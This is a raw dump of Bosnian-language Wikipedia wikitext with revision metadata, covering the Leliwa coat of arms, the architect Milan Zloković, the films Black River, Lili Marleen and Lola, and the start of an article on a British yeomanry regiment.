[[Ukrajina|Ukrajini]]. Poznati nositelji ovog grba su: Krzysztof Monwid Dorohstajski, Raphal Jarosławski, Jan Andrzej Morsztyn, Adam Sieniawski, Adam Mikołaj Sieniawski, Mikołaj Sieniawski, Mikołaj Hieronim Sieniawski, Konstanty Słotwinski, Jędrzej Śniadecki, Jan Tarnowski, Jan z Tarnowa, Ludwik Tyszkiewicz, Ludwik Skumin Tyszkiewicz, Jan Janowicz Zabrzeziński, Jan Jurejewicz Zabrzeziński, Juliusz Słowacki, Witold Pilecki, Andrzej Bobola, Józef Czapski, Karol Hutten-Czapski, Emeryk Hutten-Czapski, Agenor Romuald Gołuchowski, Spytek I Jarosławski, Jan Chrucki, Henryk Dobrzański, Kazimierz Antoni Wodzicki, Michael Bisping . == Teritorijalne jedinice koje nose grb leljiva == Veći broj teritorijalnih jedinica u Poljskoj i okolnim zemljama koristi kao grb neku od varijacija grba leljiva. U Poljskoj grb leljiva nose gradovi: Mińsk Mazowiecki,<ref>[https://www.minsk-maz.pl/ Urzad Miasta Mińsk Mazowiecki], službena stranica grada, (pristupljeno 27. rujna 2018.)</ref> Przeworska <ref>[http://www.przeworsk.um.gov.pl/ URZĄD MIASTA PRZEWORSKA], službena stranica grada, (pristupljeno 27. rujna 2018.)</ref>, Tarnobrzeg, Tarnów, Sieniawa<ref>[https://www.sieniawa.pl/ SIENIAWA.PL], službena stranica grada, (pristupljeno 27. rujna 2018.)</ref>, Stryków<ref>[https://www.strykow.pl/ Urząd Miejski w Strykowie] {{Webarchive|url=https://web.archive.org/web/20181121085842/https://www.strykow.pl/ |date=2018-11-21 }}, službena stranica grada, (pristupljeno 27. rujna 2018.)</ref>, Krzywcza, te grad [[Ternopol|Ternopilj]] u Ukrajini. == Galerija == '''Crteži Leljive tokom stoljeća'''<gallery widths="150" heights="150" align="center"> File:Toison dor folio 120.jpg|u Toison d'Or iz cca. 1433-1435 (u gornjem desnom uglu) File:Armorial bellenville folio 67v.jpg|u grbovniku Bellenvillle iz 1360-1400 (u donjem lijevom uglu) File:Gelre Folio 53v.jpg|oblik Leljiva iz 15 st. u grbovniku Gelre (u gornjem desnom kutu) File:Bergshammarsamlingen (page 113).jpg|u Codex Bergshammar iz 15. st. (u drugom redu) File:Armorial Lyncenich folio 224.jpg|grbovnik Lyncenich iz 15. st. (u gornjem desnom uglu) File:Leliwa Stemmata Polonica.jpg|Leljiva u Stemmata Polonica (15. st) od Długoszkog File:Leliwa seal XIVw.jpg|Pečat sa grbom leljiva sa početka 14. st. od nepoznatog Jerzya File:Leliwa Seal 1413.jpg|Pečat sa grbom leljiva Jadwiga iz Leżenica (iz akta o uniji iz Horodla 1413) File:DUMA BRAESCU 1445.jpg|grb leljiva na pečatu moldavskog bojara Duma Brăescu iz 1445 File:POL COA Leliwa średniowieczna.svg|srednjovjekovni oblik leljive – moderna rekonstrukcija File:POL COA Leliwa XVw.svg|oblik leljive iz 15. st. – moderna rekonstrukcija File:Leliwa_Ambrozy_1572.jpg|leljiva u grbovniku Ambroży z Nysy, cca. 1572 File:Leliwa Paprocki 1584.jpg|Leliwa in Gniazdo cnoty... by Bartłomiej Paprocki, 1578 File:Leliwa Paprocki Herby 1584.jpg|leljiva u grbovniku Herby rycerztwa polskiego... Bartłomiej Paprocki, 1584 File:POL_COA_Leliwa_Bielski.jpg|leljiva u Kronice polskiej od Marcina Bielski, 1597 File:POL_COA_Leliwa_Gorczyn.jpg|Leljiva u Kleynotach.. od Jana Aleksander Gorczyn, 1630 File:Leliwa Okolski 1641.jpg|Leljiva u grbovniku Okolski, 1641 File:Herb Leliwa XVIIwiek BB.jpg|Leljiva u dvorcu Bielsko-Biala od knezova Sułkowski, 17.st. File:Leliwa Niesiecki 1740.jpg|Leljiva u grbovniku Niesiecki, 1740 File:Leliwa_Dunczewski_1757.jpg|Leljiva u Herbarzu wielu domow Korony Polskiey St. Duńczewskiego, 1757 File:Slowaccyherb.jpg|Leljiva u dokumentu obitelji Słowacki, 1803 File:POL Leliwa Ostrowski.PNG|Leljiva u grbovniku Ostrowski, 1897 File:Leliwa Kojałowicz 1905.jpg|Leljiva u grbovniku Wijuk Kojałowicz, izdanje iz 1905 File:Leliwa Leszczyc.jpg|Leljiva u grbovniku „Herby szlachty polskiej” od Z. Leszczyca, 1908 </gallery><gallery widths="150" heights="150" align="center"> File:Jan Krzysztof Tarnowski.jpg|Leljiva na slici od Jana Krzysztof Tarnowski, 16. st. File:Mikołaj_Hieronim_Sieniawski.JPG|Leljiva na slici od Mikołaja Hieronim Sieniawski, 17. st. File:Janusz Tyszkiewicz.jpg|Leljiva na slici od Janusza Tyszkiewicz Łohojski, 17. st. File:Jerzy Tyszkiewicz, bishop of Vilnius.PNG|Leljiva na slici od Jerzya Tyszkiewicz, 17. st. </gallery><gallery widths="150" heights="150" align="center"> File:POL COA Pietrasiewicz.svg|Pietrasiewicz File:POL COA Pilecki.svg|Pilecki (u Pruskoj) File:POL COA Piotrowicz.svg|Piotrowicz (u Samogitiji), može biti i varijacija grba Murdelio File:POL COA Piotrowicz II.svg|Piotrowicz II File:POL COA Policzyński.svg|Policzyński File:POL COA Poliwczyński.svg|Poliwczyński (u Pruskoj) File:POL COA Przywidzki.svg|Przywidzki File:POL COA Sieniawski.svg|grb Prokopa Sieniawski, kombinacija sa supruzinim grbom Chodkiewicz File:POL COA Trzcieński.svg|Trzcieński vel Trzciński File:POL COA Wietcki.svg|Wietecki File:POL COA Wietcki II.svg|Witecki - prema Niesiecki File:POL COA Wojanowski.svg|Wojanowski File:POL COA Szczęsny Wojanowski.svg|grb Szczęsny Wojanowski, sadrži i simbol zapovjednika malteških vitezova File:POL COA Zienkowicz.svg|Zienkowicz </gallery>'''Standardne varijacije pri podjeli plemstva'''<gallery widths="150" heights="150" align="center"> File:POL COA Bajer.svg|Bajer - varijacija podijeljena Andrzeju Bajer iz 1678 File:POL COA Erbs.svg|Erbs – varijacija podijeljena Andrzeju Grochowski iz 1753 File:POL COA Leliwa Juzwikiewicz.svg|Juźwikiewicz – varijacija podijeljena braći Juźwikiewicz iz 1777 File:POL COA Lesieniewicz.svg|Lesieniewicz – varijacija iz 1739, spominje se u Małorossijskim Gierbovniku. File:POL COA Ryks.svg|Ryks - varijacija iz potvrde plemstva obitelji Ryks (Ryx) (iz varšavske zemlje) u Pruskoj iz 1804 File:POL COA Wodzicki.svg|Wodzicki – varijacija pri dodijeli plemstva 1676, koristi je obitelj Borsztyn </gallery>'''Standardne varijacije pri podjeli plemstva '''(varijacijom je smatra samo po jedan heraldičar)<gallery widths="150" heights="150" align="center"> File:POL COA Adamowicz tatarski.svg|Adamowicz (Tatarska obitelj) File:POL COA Kiwalski.svg|Kiwalski File:POL COA Macewicz.svg|Macewicz (iz Litve) File:POL COA Macewicz II.svg|Varijacija grba Macewicz iz 1764-65 ili 1781 File:POL COA Leliwa Mokierski.svg|Mąkierski File:POL COA Pawłowski III.svg|Pawłowski (iz češkog dijela Šleske, prethodno dio Poznana) File:POL COA Pawłowski V.svg|Pawłowski de Rosenfeld, njemačka obitelj, grana obitelji Pawłowski koja je koristila "Pawłowski III" grb File:POL COA Pawsza.svg|Pawsza File:POL COA Pierścień.svg|Grb Pierścień, dodijeljen Franciszeku Ryx 1768 File:POL COA Ryx.svg|Grb Franciszeka Ryx (1790) File:POL COA Leliwa Staszkiewicz.svg|Staszkiewicz II – varijacija koju je koristla obitelj Staszkiewicz iz Samogitia, spominje ih Niesiecki File:POL COA Żarowski.svg|Żarowski – prema podjeli plemstva iz 1576, prema Konarskom varijacija Leljive </gallery><gallery widths="150" heights="150" align="center"> File:POL COA Ostrogski.svg|Grb princeze Ostrogski i Zasławski, koji su prema Tadeuszu Gajlu koristile i obitelji Kłosewicz, Neronowicz, Szpila, Szpilewski i Szpilowski. File:POL COA Czapski.svg|osnovna verzija Leljive koju su koristile obitelji Czapski i Morsztyn File:POL COA Gołuchowski.svg|Grb grofova Gołuchowski, sa grbom Ruskog carstva File:POL COA Hutten-Czapski.svg|Grb obitelji Hutten-Czapski, kombinacija leljive i njemačkog grba obitelji Hutten File:POL COA Pawłowski IV Baron.svg|barunska varijacija grba obitelji Pawłowski (spominje je samo Juliusz Karol Ostrowski) File:POL COA Tarnowski hrabia.svg|grb grofova Tarnowski File:POL COA Tyszkiewicz.svg|grb grofova Tyszkiewicz File:POL COA Wodzicki hrabia.svg|grb grofova Wodzicki </gallery>'''Obitelji iz Kashubije'''<gallery widths="150" heights="150" align="center"> File:POL COA Czarnicki.svg|Czarnicki File:POL COA Dułak III.svg|Dułak File:POL COA Fargow.svg|Fargo File:POL COA Gliszczyński IV.svg|Gliszczyński File:POL COA Lisewski.svg|Lisewski File:POL COA Mach.svg|Mach File:POL COA Mach odm.svg|Mach - varijacija prethodnog File:POL COA Mach IId.svg|Mach - varijacija prethodnog File:POL COA Małszycki.svg|Małszycki File:POL COA Ossowski.svg|Ossowski File:POL COA Piechowski.svg|Piechowski File:POL COA Piotroch.svg|Piotroch i Poklat File:POL COA Repka.svg|Repko File:POL COA Spęgawski.svg|Spęgawski (II) File:POL COA Żychcki.svg|Żychcki </gallery><gallery widths="150" heights="150" align="center"> File:POL Mińsk Mazowiecki COA.svg|grb Minska Mazowieckog File:POL Przeworsk COA.svg|grb Przeworska File:POL Tarnobrzeg COA.svg|grb Tarnobrzeg File:POL Tarnopol COA.svg|grb Tarnopola File:POL Tarnów COA.svg|grb Tarnowa File:POL Sieniawa COA 1.svg|grb Sieniawa File:POL Stryków COA.svg|grb Strykowa File:POL gmina Krzywcza COA.svg|grb općine Krzycza </gallery>'''Varijante grba '''<gallery widths="150" heights="150" align="center"> File:POL COA Leliwa II.svg|Leliwa II File:POL COA Leliwa III.svg|Leliwa III File:POL COA Leliwa IV.svg|Leliwa IV File:POL COA Leliwa Pilecki Abramowicz.svg|Leliwa V File:POL COA Leliwa VI.svg|Leliwa VI </gallery> == Povezano == [[Heraldika]] [[Plemstvo]] [[Grb Zagreba]] [[Grb Varaždina]] == Literatura == * Bartosz Paprocki: Herby rycerstwa polskiego na pięcioro ksiąg rozdzielone, Kraków, 1584.  * Tadeusz Gajl: Herbarz polski od średniowiecza do XX wieku : ponad 4500 herbów szlacheckich 37 tysięcy nazwisk 55 tysięcy rodów. L&L, 2007. <nowiki>ISBN 978-83-60597-10-1</nowiki>.  * Alfred Znamierowski: Herbarz rodowy. Warszawa: Świat Książki, 2004. <nowiki>ISBN 83-7391-166-9</nowiki>. * Jan Długosz: Liber Beneficiorum. T. I,II. * Włodzimierz Dworzaczek: Leliwici Tarnowscy. Instytut Wydawniczy PAX, 1971. <nowiki>ISBN 8390150468</nowiki>.  * Sławomir Górzyński: Herby szlachty polskiej. Warszawa: Wydawnictwa Uniwersytetu Warszawskiego i Wydawnictwo ALFA, 1990. <nowiki>ISBN 83-230-0349-1</nowiki>.  * Szymon Okolski: Orbis Poloni.. T. 2. Kraków: 1641-1643. * Juliusz Karol Ostrowski: Księga herbowa rodów polskich. T. 1-2. Warszawa: Główny skład księgarnia antykwarska B. Bolcewicza, 1897. Franciszek Piekosiński: Heraldyka polska wieków średnich. Kraków: Akademia Umiejętności, 1899.  * Hipolit Stupnicki: Herbarz polski Kaspra Niesieckiego. T. 6. Lipsk: Breitkopf i Haertl, 1841.  * Alfred Znamierowski: Herbarz rodowy. Warszawa: Świat Książki, 2004. <nowiki>ISBN 83-7391-166-9</nowiki>.  * Oleg Odnorozhenko, Rodova heral<nowiki>''</nowiki>dyka Ruso-Vlaxiyi (Moldav<nowiki>''</nowiki>skoho hospodarstva) kincya XIV-XVI st., Harkiv, 2008, p.&nbsp;65.  * Album paléographique moldave. Documents du XIVe, XVe et XVIe siècle. Recueillis par Jean Bogdan et publiés avec une instruction et des résumés par N. Iorga. Album paleografic moldovenesc. Documente din secolele al XIV-lea, al XV-lea şi al XVI-lea. Adunate de Ioan Bogdan şi publicate cu o introducere şi resumate de N. Iorga, Bucarest/Bucureşti – Paris, 1926, planşa 98 (imagini în anexă). == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Leliwa (coat of arms)}} * [http://www.wbc.poznan.pl/dlibra/docmetadata?id=1147&from=&dirids=1&ver_id=&lp=1&QI=265D9EA382E11F7725D04444212AD974-7 Zygmunt Celichowski: Insignia seu clenodia Regis et Regni Poloniae], str. 22., reizdanje 1885., Digital Library of Wielkopolska (pristupljeno 27. rujna 2018.) * [http://www.lyczkowski.net/pl/herby-szlachty-litewskiej/litery-l-m.html Herby szlachty litewskiej] {{Webarchive|url=https://web.archive.org/web/20180726170107/http://www.lyczkowski.net/pl/herby-szlachty-litewskiej/litery-l-m.html |date=2018-07-26 }}, popis obitelji šlahte koje nose grb leljiva {{Normativna kontrola}} [[Kategorija:Grbovi]] [[Kategorija:Nacionalni simboli Poljske]] [[Kategorija:Historija Poljske]] aqlokfs46rp6tc7iqbdsweoxyf8x4hm 0 4626092 42602571 42591173 2026-05-27T16:14:34Z CommonsDelinker 806 Uklanjam datoteku [[c:File:Centralna_banka_BiH.JPG|Centralna_banka_BiH.JPG]]; na Ostavi ju je izbrisao račun [[c:User:Jameslwoodward|Jameslwoodward]]; razlog: per [[:c:Commons:Deletion requests/File:Centralna banka BiH.JPG|]]. 42602571 wikitext text/x-wiki '''Milan Zloković''' ([[Trst]], [[6. aprila]] [[1898.]] - [[Beograd]], [[29. maja]] [[1965.]]), bio je srpski i jugoslavenski arhitekt. Pohađao Visoku tehničku školu u Grazu i Tehnički fakultet u Beogradu, gdje je diplomirao 1921. godine. Specijalizirao je na Visokoj umjetničkoj školi u [[Pariz]]u. Predavao na Arhitektonskom fakultetu u Beogradu od 1950. godine. Zaslužan je za promjenu pravca razvitka beogradskog Arhitektonskog fakulteta prema [[Moderna arhitektura|modernoj arhitekturi]]. Tih vremena fakultet je još uvijek bio u tradiciji eklektičke klasicističke i srpsko-bizantske arhitekture. == Ostvarenja == Pripadao je prvom naraštaju beogradskih modernista, [[beogradska moderna|beogradskoj modernoj]]. Počeo je projektovanjem malih željezničkih stanica, sa elementima Moderne arhitekture. Godine 1923. dobio je drugu nagradu za [[Umjetnički paviljon Cvijeta Zuzorić u Beogradu|Paviljon Cvijeta Zuzorić]]. Godine 1925. godine nagrađen je na konkursu za Jugoslavenski paviljon u Philadephiji. Njegova ostvarenja su: * Stambene zgrade u Rankeovoj ulici na br. 4, 11,12, 1926. – 1928. godine * Stambena zgrada u Sinđelićevoj 24, 1928. godine * [[Zgrada Narodne banke Bosne i Hercegovine|Narodne banke]] u Sarajevu. Taj objekat proglašen je za [[nacionalni spomenik BiH]]<ref name="Spomenik">{{Cite web|url= http://aplikacija.kons.gov.ba/kons/public/uploads/odluke_bos/Sarajevo_Narodna%20banka%20BOS.pdf|title= Zgrada Narodne banke u Sarajevu|work= Komisija za nacionalne spomenike|accessdate= 13. 9. 2016}}{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> * [[Hotel Žiča u Mataruškoj banji]], 1931. – 1933. godine * Pansion dr. Karajovića u Mataruškoj banji, 1932. godine * Kuća Dragutinovića u Zemunu, 1928. – 1929. godine * Gradska kuća za porodicu Zaborskih u Dalmatinskoj u Beogradu, 1929. – 1930. godine * Dom trgovačko-industrijske komore u Skoplju, 1933. – 1935. godine * Zgrada OPEL-a u Beogradu, 1931. godine * Vila industrijalca Šterića na Dedinju, 1932. godine * Dječija klinika u Beogradu, 1933. - 1940. godine * Carinarnica u Kotoru, 1935. godine * Osnovna škola u Jagodini, 1937. godine * Zgrada FIAT-a u Beogradu, 1938. – 1942. godine * Bolnica na Banjici (sa S. Kliskom), 1957. godine * Učiteljska škola u Prizrenu (sa Đ. Zlokovićem), 1962. godine<ref name="Zloković">{{Cite web|url= http://www.leksikon.asa.org.rs/22-2015-09-30-20-03-16/59-2-08|title= Leksikon srpskih arhitekata -Milan Zloković|work= |accessdate= 13. 9. 2018}}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> Radeći u konzervativnoj sredini, Zloković je gubio poslove zbog arhitektonskih opredjeljenja. U takvim uslovima bio je prinuđen na kompromise suprotne sopstvenim profesionalnim ubjeđenjima, poštujući zahtjeve svojih naručilaca. Iz tog razloga projektant radi i u drugim sredinama, poput Sarajeva i Skoplja, gdje je također prisiljen na određene kompromise.<ref name="Spomenik"/> == Grupa arhitekata modernog pravca (GAMP) == U Beogradu je 12. novembra 1928. godine osnovana »Grupa arhitekata modernog pravca« (GAMP), čiji su osnivači bili Milan Zloković, [[Branislav Kojić]], [[Jan Dubovi]] i [[Dušan Babić]]. Grupa je osnovana da bi se putem izrade arhitektonskih projekata, njihovom realizacijom i javnim nastupima, zalagala za principe moderne arhitekture. U periodu prije osnivanja »Grupe arhitekata modernog pravca«, bilo je više pokušaja prenošenja evropskih uzora racionalističke arhitekture, putem uprošćavanja i ukidanja historijskih elemenata na arhitektonskim objektima, uvođenjem funkcionalističkih principa u arhitektonsko projektovanje i unošenjem racionalizacije u konstruktivni i kompozicioni sklop zgrada. Međutim, te pojave su bile prisutne u arhitekturi sporadično i izolovano, jer u to vrijeme nije postojao organizirani pokret putem kojeg bi karakteristični elementi, činioci modernog arhitektonskog projektovanja, bili predstavljeni stručnoj arhitektonskoj javnosti. Kraj 1928. godine se može smatrati trenutkom kada se definitivno kristalizirao [[Jugoslavenska arhitektura|modernistički pokret]], prije svega osnivanjem »Grupe arhitekata modernog pravca«, a potom i individualnim radom snažnih arhitektonskih ličnosti. Postojala je do 1934. godine. == Literatura == *{{cite book |last = Milošević |first = Predrag |title = Arhitektura u kraljevini Jugoslaviji (Sarajevo 1918 -1941). |url= http://www.worldcat.org/title/arhitektura-u-kraljevini-jugoslaviji-sarajevo-1918-41/oclc/500710539 |publisher = Srpsko kulturno i prosvjetno društvo "Prosvjeta" |year = 1997 |isbn = }} == Reference == {{reference}} == Vanjske veze == * [http://maldini.wetpaint.com/page/beogradska+moderna -[[Slobodan Maldini]] Beogradska moderna, 29. Maja 2009] {{Webarchive|url=https://web.archive.org/web/20120313075235/http://maldini.wetpaint.com/page/beogradska+moderna |date=2012-03-13 }} [[Kategorija:Jugoslavenski arhitekti|Z]] [[Kategorija:Srpski arhitekti|Z]] 2dwl6uuf6ramern9uqiy66nav2pjnjv 0 4632521 42602593 40968162 2026-05-27T19:02:07Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602593 wikitext text/x-wiki {{Infokutija film | naslov = 黒い河 | slika = Kuroi kawa poster.jpg | image_size = | caption = Original Japanese theatrical poster | director = [[Masaki Kobayashi]] | producer = | writer = | narrator = | starring = [[Ineko Arima]]<br />[[Fumio Watanabe]]<br />[[Tatsuya Nakadai]]<br />[[Tomo Nagai]]<br />[[Keiko Awaji]] | music = | cinematography = | editing = | distributor = [[Shochiku]] | released = {{Film date|1957|10|23|df=y}} <ref name="year"/> | runtime = 114 min. | country = {{flag|Japan}} | language = [[japanski jezik|japanski]] | budget = }} {{nihongo|'''''Black River'''''|黒い河|'''''Kuroi kawa'''''}} je [[japan]]ski crno-bijeli igrani film snimljen u režiji [[Masaki Kobayashi|Masakija Kobayashija]] i premijerno prikazan [[1957. na filmu|1957.]] godine.<ref name="year">Različiti izvori kao godinu proizvodnje ili premijere navode 1956. ili 1957.<br />{{cite web | title = Black River | publisher = Shochiku | url = http://www.shochikufilms.com/film/detail.php?product_code=98 | accessdate = 30. VI 1956 | quote = Year: 1956 | deadurl = yes | archiveurl = https://web.archive.org/web/20070807144701/http://www.shochikufilms.com/film/detail.php?product_code=98 | archivedate = 2007-08-07 | df = }}<br />{{cite book | last = Richie | first = Donald | authorlink = Donald Richie | title = A Hundred Years of Japanese Film: A Concise History, with a Selective Guide to DVDs and Videos | publisher = [[Kodansha|Kodansha International]] | year = 2005 | isbn = 4-7700-2995-0 | url = http://www.kodansha-intl.com/books/html/en/9784770029959.html | pages = 163 | quote = ''Black River'' (Kuroi kawa, 1956) | deadurl = yes | archiveurl = https://web.archive.org/web/20081121034830/http://www.kodansha-intl.com/books/html/en/9784770029959.html | archivedate = 2008-11-21 | df = }}<br />{{cite web | script-title = ja:黒い河 | publisher = [[Japanese Movie Database]] | url = http://www.jmdb.ne.jp/1956/cf004690.htm | language = japanski | accessdate = 30. VI 2009 | quote = 1956.10.23 | archive-date = 2019-06-19 | archive-url = https://web.archive.org/web/20190619182403/http://www.jmdb.ne.jp/1956/cf004690.htm | url-status = dead }}<br />{{cite web | title = 黒い河 | publisher = Shochiku Online | url = http://shochikuonline.jp/cinfo/s/000000057a/c/00039/ | language = japanski | accessdate = 30. VI 2009 | quote = {{nihongo2|制作年： 1957年}} | deadurl = yes | archiveurl = https://web.archive.org/web/20090621163408/http://shochikuonline.jp/cinfo/s/000000057a/c/00039/ | archivedate = 2009-06-21 | df = }}<br />{{cite web | title = 黒い河 (邦画) | publisher = [[Kinema Junpo]] | url = http://www.kinejun.jp/cinema/id/25453 | language = japanski | accessdate = 30. VI 2009 | quote = {{nihongo2|公開年月日}}: 1957/10/23 | deadurl = yes | archiveurl = https://web.archive.org/web/20111007221453/http://www.kinejun.jp/cinema/id/25453 | archivedate = 2011-10-07 | df = }}<br />{{cite book | last = Desser | first = David | authorlink = David Desser | title = Eros Plus Massacre: An Introduction to the Japanese New Wave Cinema | publisher = [[Indiana University Press]] | date = May 1988 | isbn = 0-253-31961-7 | url = http://www.iupress.indiana.edu/catalog/product_info.php?products_id=21571 | pages = 42 | quote = ''Kuroi kawa'' (''Black River'', 1957) }}<br />{{cite web | last = Shapiro | first = Michael | title = Japan and the U.S. Share an Uneasy Artistic Peace | publisher = [[The New York Times]] | date = December 1991 | url = https://www.nytimes.com/1991/12/01/arts/japan-and-the-us-share-an-uneasy-artistic-peace.html | accessdate = 2009-06-30 | quote = Masaki Kobayashi's 'Black River' (1957) }}<br />{{cite web | title = Tatsuya Nakadai Filmography | publisher = [[The Criterion Collection]] | url = http://www.criterion.com/asp/in_focus_essay.asp?id=15&eid=444 | accessdate = 30. VI 2009 | archiveurl = https://web.archive.org/web/20071213170928/http://www.criterion.com/asp/in_focus_essay.asp?id=15&eid=444 | archivedate = 2007-12-13 | quote = ''Black River'' (''Kuroi kawa'') Masaki Kobayashi, 1957 | deadurl = yes | df = }}<br />{{cite web | title = Kuroi Kawa | publisher = [[AllMovie]] | url = http://www.allmovie.com/work/kuroi-kawa-184481 | accessdate = 2009-06-30 | quote = Year: 1957 }}</ref> Po žanru je [[dramski|drama]], a radnja prikazuje kako se mladi student doseljava u stambenu zgradu i započinje ljubavnu vezu sa konobaricom, prije šzo njihov stanodavac počne sa spletkama kako bi ih iselio. ==Uloge== * [[Ineko Arima]] - Shizuko * [[Fumio Watanabe]] - Nishida * [[Tatsuya Nakadai]] - Joe * [[Tomo Nagai]] * [[Keiko Awaji]] * [[Seiji Miyaguchi]] * [[Isuzu Yamada]] * [[Eijirō Tōno]] - Kurihara ==Izvori== {{reflist|2}} ==Vanjske veze== * {{imdb title|0134771|Black River}} * ''[http://www.jmdb.ne.jp/1956/cf004690.htm Black River] {{Webarchive|url=https://web.archive.org/web/20190619182403/http://www.jmdb.ne.jp/1956/cf004690.htm |date=2019-06-19 }}'' {{ja icon}} at the [[Japanese Movie Database]] {{Masaki Kobayashi}} [[Kategorija:Japanski filmovi]] [[Kategorija:Dramski filmovi]] 65saa176b08c9kqyctivzenfjb50yr4 0 4633420 42602656 41562874 2026-05-28T03:21:39Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602656 wikitext text/x-wiki {{for|britanski film iz 1950. godine|Lili Marlene (film)}} {{Infokutija film | slika = Lili Marleen, film poster.jpg | naslov = Lili Marleen | zemlja = {{flagcountry|ZNJE}} | jezik = [[njemački jezik|njemački]] | premijera = {{Filmdate|1981|1|14|df=y}} | trajanje = 120 min. | režija = [[Rainer Werner Fassbinder]] | scenario = Rainer Werner Fassbinder<br />[[Manfred Purzer]]<br />[[Joshua Sinclair]]<br />[[Werner Uschkurat]] | based on = {{based on|''Der Himmel hat viele Farben''|[[Lale Andersen]]}} | producent = [[Luggi Waldleitner]]<br />[[Enzo Peri]] | muzika = [[Peer Raben]] | fotografija = [[Xaver Schwarzenberger]]<br />[[Michael Ballhaus]] | montaža = [[Rainer Werner Fassbinder]]<br />[[Juliane Lorenz]] | uloge = * [[Hanna Schygulla]] * [[Giancarlo Giannini]] * [[Mel Ferrer]] * [[Karl-Heinz von Hassel]] * [[Erik Schumann]] * [[Hark Bohm]] * [[Gottfried John]] * [[Willy Harlander]] * [[Karin Baal]] * [[Christine Kaufmann]] * [[Udo Kier]] }} '''''Lili Marleen''''' je [[Zapadna Njemačka|zapadnonjemački]] igrani film snimljen u režiji [[Rainer Werner Fassbinder|Rainera Wernera Fassbindera]] i premijerno prikazan [[1981. na filmu|1981.]] godine. Po žanru je [[romantični film|ljubavna]] [[dramski film|drama]], a temelji se na [[autobiografija|autobiografskoj]] knjizi pjevačice [[Lale Andersen]], mada je Fassbinder u scenariju izmijenio imena i dodao niz detalja kojih nije bilo u stvarnom životu. Protagonistica, čiji lik tumači [[Hanna Schygulla]], je pjevačica Willie koja 1938. godine snima pjesmu '''''Lili Marleen''''' koja će u [[Drugi svjetski rat|Drugom svjetskom ratu]] postati veliki hit među pripadnicima [[Treći Reich|njemačkih]] oružanih snaga. Radnja prikazuje probleme koje za Willie kod nacističkih vlasti izaziva njena ljubavna veza sa [[jevrej]]skim kompozitorom (čiji lik tumači [[Giancarlo Giannini]]) koji živi u neutralnoj [[Švicarska|Švicarskoj]]. == Vanjske veze == * {{IMDb naslov}} * [http://www.fassbinderfoundation.de/movies/lili-marleen/ ''Lili Marleen''.] {{Webarchive|url=https://web.archive.org/web/20190202190211/http://www.fassbinderfoundation.de/movies/lili-marleen/ |date=2019-02-02 }} Rainer Werner Fassbinder Foundation, Berlin; Film- und Hintergrundinformationen * [http://www.filmportal.de/df/ea/Uebersicht,,,,,,,,AB2C8E26EC424BA0BAEDEDA54CA923BA,,,,,,,,,,,,,,,,,,,,,,,,,,,.html ''Lili Marleen''] auf filmportal.de * {{Rotten Tomatoes}} {{Rainer Werner Fassbinder}} [[Kategorija:Zapadnonjemački filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Biografski filmovi]] [[Kategorija:Romantični filmovi]] [[Kategorija:Filmovi o Drugom svjetskom ratu]] 4qoveqk732l986kxia59zrq4zz5esrm 0 4633424 42602684 42446826 2026-05-28T07:14:29Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602684 wikitext text/x-wiki {{Infokutija film | slika = Lolagermanposter.jpg | naslov = Lola | zemlja = {{flagcountry|ZNJE}} | jezik = [[njemački jezik|njemački]] | premijera = {{Filmdate|1981|8|20|df=y}} | jezik = 113 min. | režija = [[Rainer Werner Fassbinder]] | scenario = [[Peter Märthesheimer]],<br /> [[Pea Fröhlich]] | producent = [[Horst Wendlandt]] | muzika = [[Peer Raben]] | fotografija = [[Xaver Schwarzenberger]] | montaža = [[Juliane Lorenz]] | uloge = * [[Barbara Sukowa]] * [[Armin Mueller-Stahl]] * [[Mario Adorf]] * [[Rosel Zech]] * [[Matthias Fuchs]] * [[Helga Feddersen]] * [[Karin Baal]] * [[Ivan Desny]] }} '''''Lola''''' je [[Zapadna Njemačka|zapadnonjemački]] igrani film snimljen [[1981. na filmu|1981.]] godine u režiji [[Rainer Werner Fassbinder|Rainera Wernera Fassbindera]]. Po žanru je [[dramski film|drama]], a naslovna protagonistica, čiji lik tumači [[Barbara Sukowa]] je [[prostitucija|prostitutka]] čiji su klijenti građevinski i drugi poduzetnici u zapadnonjemačkom gradu [[Coburg]]u koji se naglo bogate za vrijeme [[Njemačko privredno čudo|privrednog čuda]] 1950-ih. Radnja prikazuje kako se u nju, ne znajući kako zarađuje za život, zaljubi građevinski inspektor (čiji lik tumači [[Armin Mueller-Stahl]]) čije pošteno obavljanje posla staje na žulj lokalnim moćnicima. ''Lola'' predstavlja drugi dio [[BRD trilogija|BRD trilogije]] posvećene historiji poratne Zapadne Njemačke. == Vanjske veze == * {{IMDb naslov|tt0082671}} *[http://www.fassbinderfoundation.de/movies/lola/ ''Lola''] {{Webarchive|url=https://web.archive.org/web/20190315204352/http://www.fassbinderfoundation.de/movies/lola/ |date=2019-03-15 }}, Film- und Hintergrundinformationen, Rainer Werner Fassbinder Foundation, Berlin *[http://www.filmportal.de/df/35/Credits,,,,,,,,8A3E51232928435E97498142964E0A4Bcredits,,,,,,,,,,,,,,,,,,,,,,,,,,,.html ''Lola''] bei [[Filmportal.de]] *[http://www.filmzentrale.com/rezis/lolags.htm Ausführliche Filmkritik ''Lola''] {{Webarchive|url=https://web.archive.org/web/20201004001750/http://www.filmzentrale.com/rezis/lolags.htm/ |date=2020-10-04 }} Georg Seeßlen, zuerst erschienen bei: [[epd Film]] 6/92 *[http://www.new-video.de/trailer-lola/ ''Lola''] Trailer bei New-Video.de {{Rainer Werner Fassbinder}} [[Kategorija:Zapadnonjemački filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Romantični filmovi]] a8r83rhgyophhgbyn54m06qhpbkfnut 0 4635886 42602575 40979985 2026-05-27T17:02:11Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602575 wikitext text/x-wiki [[Datoteka:Frederick Pargeter, item 8.jpg|mini|desno|200px|[[Bedž]]]] '''Kraljičini vlastiti oxfordshireski husari''' ({{jez-en|Queen's Own Oxfordshire Hussars}}) je naziv za [[yeomanry|rezervnu]] pukovniju [[Britanska vojska|Britanske vojske]] originalno osnovanu 1794. 